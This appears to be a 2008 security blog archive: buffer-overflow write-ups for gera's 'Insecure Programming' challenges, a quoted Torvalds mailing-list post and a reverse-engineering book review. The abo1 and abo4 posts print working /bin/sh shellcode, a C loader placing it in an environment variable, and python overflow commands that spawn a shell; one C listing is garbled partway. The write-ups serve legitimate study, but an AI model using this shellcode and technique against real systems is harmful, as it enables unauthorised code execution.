7/24/2008

Advanced Buffer Overflows, Take #2

Hello again fellows, tonight, we'll take another step ahead in solving gera's programming challenges with this second take in the Advanced Buffer Overflows section. Unlike the previous take, this one will cover more than one level: from second to fourth to be more precise. As usual we'll take a look at the source and make an hypothesis on the possible attack path to follow. Without greater delay, let's begin.

This is how #2 looks like:
int main(int argv,char **argc) {
char buf[256];

strcpy(buf,argc[1]);
exit(1);
}
As an avid reader might have noticed, despite the obvious possibility to overflow the buffer in the stack, the exit() call right after the strcpy() makes impossible ever reaching any ret value we might have corrupted. After hitting the wall a couple of times, I noticed that in gera's solutions, the best outcome seemed to be a local DoS attack to the program. For this purpose we can make a call using a VERY LARGE sequence of characters so that memory would get largely corrupted and program wouldn't be able to continue it's normal way (presumably smashing the GOT or PLT entries where references to exit() are saved for dynamic linking). Not the most elegant solution but this is what this circumstances led us to :(

Turning our look to #3:
int main(int argv,char **argc) {
extern system,puts;
void (*fn)(char*)=(void(*)(char*))&system;
char buf[256];

fn=(void(*)(char*))&puts;
strcpy(buf,argc[1]);
fn(argc[2]);
exit(1);
}

The pointer mess in this case might scare the newcomer but once the fog clears out we notice what a piece of cake this is. All we have to face this time is a locally defined function pointer; right after our stack buffer. This should make your mouth sweat. Funny enough, the same approach we followed in abo1 will do the job this time. How? someone might ask. While in the first level we overwrote the ret value, this time we can overwrite a pointer to a function that will be called right after we smash the stack.(I won't display the solution here to keep the post-size as efficient as possible)

At this point we make it into #4, the bad boy:
extern system,puts; 
void (*fn)(char*)=(void(*)(char*))&system;

int main(int argv,char **argc) {
char *pbuf=malloc(strlen(argc[2])+1);
char buf[256];

fn=(void(*)(char*))&puts;
strcpy(buf,argc[1]);
strcpy(pbuf,argc[2]);
fn(argc[3]);
while(1);
}

Like in #3, this time we have function pointers around and like in #3 we call the function using the pointer after smashing the buffer but...the pointer is defined OUT of the local function, thus no function pointer abuse this time. Apparently, the only thing we can smash in this situation is the pbuf pointer which points to the region allocated in the heap to place argc[2] or the 2º argument. This will do the trick, we will overwrite the pbuf pointer so that we can freely control the second strcpy() and write wherever in memory we want. If we use gdb to investigate a little, we'll notice that the adress of fn() is actually 0x0804974c. To store the shellcode we will follow the same approach we used in the previous buffer overflow levels, we will store it in a environment variable(remember we used address 0xbfffff40 for that one). Recapping a little this is how we would build the call:

infi@labo:~/InsecureProgramming> ./abo4 `python -c 'print "A"*268+"\x4c\x97\x04\x08"'` `python -c 'print "\x40\xff\xff\xbf"'` CCCC
sh-3.00$


Once again, mission complete. This is it for today, more from challenges will be coming shortly. Keep adding NOPs!

7/23/2008

Torvalds Mad at Security Industry

A couple of days ago in the gmane mailing lists Linus Torvalds, the famous creator of Linux went berserk against what he named as "the whole security circus".

Apparently, he's very annoyed by the fame-boost people get each time they find a new security bug. In the same post he also delighted us with some quotes regarding OpenBSD as; "I think the OpenBSD crowd is a bunch of masturbating monkeys" and "...they make such a big deal about concentrating on security to the point where they pretty much admit that nothing else matters to them..."

He states that in his view, a security bug is no more important than any other traditional bug and in fact, traditional bug are _WAY_ more important. Here is the link to the original post and here's a copy of the message:
On Tue, 15 Jul 2008, Linus Torvalds wrote:
>
> So as far as I'm concerned, "disclosing" is the fixing of the bug. It's
> the "look at the source" approach.

Btw, and you may not like this, since you are so focused on security, one
reason I refuse to bother with the whole security circus is that I think
it glorifies - and thus encourages - the wrong behavior.

It makes "heroes" out of security people, as if the people who don't just
fix normal bugs aren't as important.

In fact, all the boring normal bugs are _way_ more important, just because
there's a lot more of them. I don't think some spectacular security hole
should be glorified or cared about as being any more "special" than a
random spectacular crash due to bad locking.

Security people are often the black-and-white kind of people that I can't
stand. I think the OpenBSD crowd is a bunch of masturbating monkeys, in
that they make such a big deal about concentrating on security to the
point where they pretty much admit that nothing else matters to them.

To me, security is important. But it's no less important than everything
*else* that is also important!

Linus
Tough words to read from someone who did so much for what we have today.

7/21/2008

Book Review: Reversing, Secrets of Reverse Engineering.

Even thought I have some more solutions for the Advanved Buffer Overflow Challenges in the line, today I come with a different kind of article. This time I'll be reviewing one of the latest additions to my shelf: "Reversing, Secrets of Reverse Engineering" by Eldad Eilam. As every experienced hacker knows, understanding of the lowest and most-inner workings of a program sometimes goes throught analizing it's low level code representation and the most basic interaction with the underlaying OS.



From my experience, the documentation available in the net is often either very specific or largely outdated, hence I decided to give a shot to a all-in-one physical format like a book. I don't regret it a second. I knew the book since some time ago, It's been around since 2005, but I never felt it would report much to what I needed at the time. I couldn't be more wrong. Lately I've been trying to take a look at real life vulnerability code in order to get away from artificial yet educational exploitme-like situations. Most of the time the environment used to be Windows in a 32bit environment, which fortunately is documented on the web. Still, it takes a trained eye to recognize vulnerable portions of code in a sea of mov's,lea's and cmp's. A hands-on reversing lesson was on demand.

At first I was a bit reluctant to the book, the initial chapters are just refreshers for some basic architecture and tool knowledge which is handy considering the solid base they make for the rest of the book. After that it goes to reversing a group of windows undocumented APIs; basic training to recognize C/C++ structures and functions. Then it moves to the topic that interest's us the most: Binary Auditing.

It makes for a good help to pay a visit to our old overflow friends and taking a look at how the look under the cover. The chapter also makes a detailed analysis of the famous IIS Unicode Bug that worked as launchpad to the also known CodeRed worm.

After that came one of the chapters that I had the most fun reading, mostly because I had no previous exposure to it: Malware Analysis. Using a Trojan as example it goes to understand it's internals. Isolated virtual environment is a MUST for this :)

From then on the book continues his way throught cracking, anti-cracking and some protection schemes. Mention deserved to the last chapters dealing with virtual machine based languages using Microsoft's very own .NET platform as example which seemed to me as lightening for other languages such as Java. The book gets completed with 4 Appendixes that make for good reference sections for future reversing sessions.

All in all, a great book, a must have, one of those that takes more than the others to get outdated because not only shows hands-on experience but also shows the path to follow for upcoming techniques developed in the area. After all, reversing is a tool that many different research areas benefit from in greater or lesser way.

7/11/2008

Advanced Buffer Overflows, Take #1

Welcome back. Today we will make another step ahead in the path gera set up some time ago. Today's topic will be the first challenge of the ADVANCED BUFFER OVERFLOWS section, but don't let the name scare you away; this is a simple one once the general theory is in place. I'm not going to go trought all the architectural knowledge you need to know in order to understand the situation, I'll assume you got that somewhere else. Without further delay, let's begin.

This how the C source looks like:

int main(int argv,char **argc) {
char buf[256];

strcpy(buf,argc[1]);
}

The function takes an argument from the command line and copies it to a buffer in the stack without any kind of sanitization checks. Hence, the programming error is clear: We can write data in the stack past the buffer boundaries as with any conventional buffer overflow.

Now, we can take too diferents approaches while exploiting this error after overwriting the ret value from the stack. The first approach would be to place the shellcode in the buffer itself, sensible solution since the stack is pretty large to fit a linux shellcode (256 bytes). However a issue rises up if we follow this path; We can't hardcode our bogus return address because we don't know the address of the buffer till runtime. This would force us to make Position Independent Code (PIC) as explained in the famous article by aleph1 "Smashing the Stack for Fun and Profit".

Therefore, in this article we'll follow the alternative path pioneered by Murat in his "Buffer Overflows Demystified". We will place the shellcode in a environment variable and then point the ret value there. The ease in this approach comes from the fact that every time a linux executable goes live, the memory layout has certain constant addresses (unless we use any kind of randomization patch) that will help us. In our particular case, the environment variables begin in the highest memory addresses right after 0xbffffffa.

Once having understood the breafing, let's move into more practical ground. In my case I'll use the COLORTERM variable which by default has no value in my SuSE 9.3 VM. First of all, I'll use a little C program (abo1exp.c) to build our "evil-buffer" and export it to the aforementioned environment var (the template is taken from Shellcoder's Handbook code):
#include

#define BUFFSIZE 256
#define NOP 0x90

char sc[] =

"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

int main(int argc, char *argv[]){
char *buff, *ptr;
int bsize=BUFFSIZE,i;

if(!(buff = malloc(bsize))){
printf("Can't allocate memory.\n");
exit(0);
}

ptr = buff;

for(i=0;i< colorterm=",10); putenv(buff); system(">


Now all we have left to know is which address our environment variable holds so we can inject it from the command line causing a overflow. For this purpose, I first ran the program inside gdb and took a look at the memory space surrounding 0xbffffffa:

(gdb) x/20x 0xbfffff40
0xbfffff40: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffff50: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffff60: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffff70: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffff80: 0x90909090 0x90909090 0x90909090 0x90909090
(gdb)



Since we're using a NOP pad to increase our chances of success, we don't need to know the exact address but just a close one. In my case 0xbfffff40 turned out to be a successfull choice. So, a this point all that's left is to call abo1 after building the environment var using our friend python to cause the overflow. I should note that I used 268 as junk size because after several brute-force tests we managed to overwrite the ret value when we used 272 characters, therefore 272 - 4(size of word) = 268:

infi@labo:~/InsecureProgramming> ./abo1exp
infi@labo:~/InsecureProgramming> ./abo1 `python -c 'print "A"*268+"\x40\xff\xff\xbf"'`
sh-3.00$


So this was it. I tried to make the exploit work in some automated way instead of having to make a customized call everytime with python, but after the fifth failure I just gave up :). For the upcoming articles I'll try to keep bringing more solutions for these challenges because they seem to cover almost every kind of exploitation technique used nowadays. In the meantime...keep adding NOPs!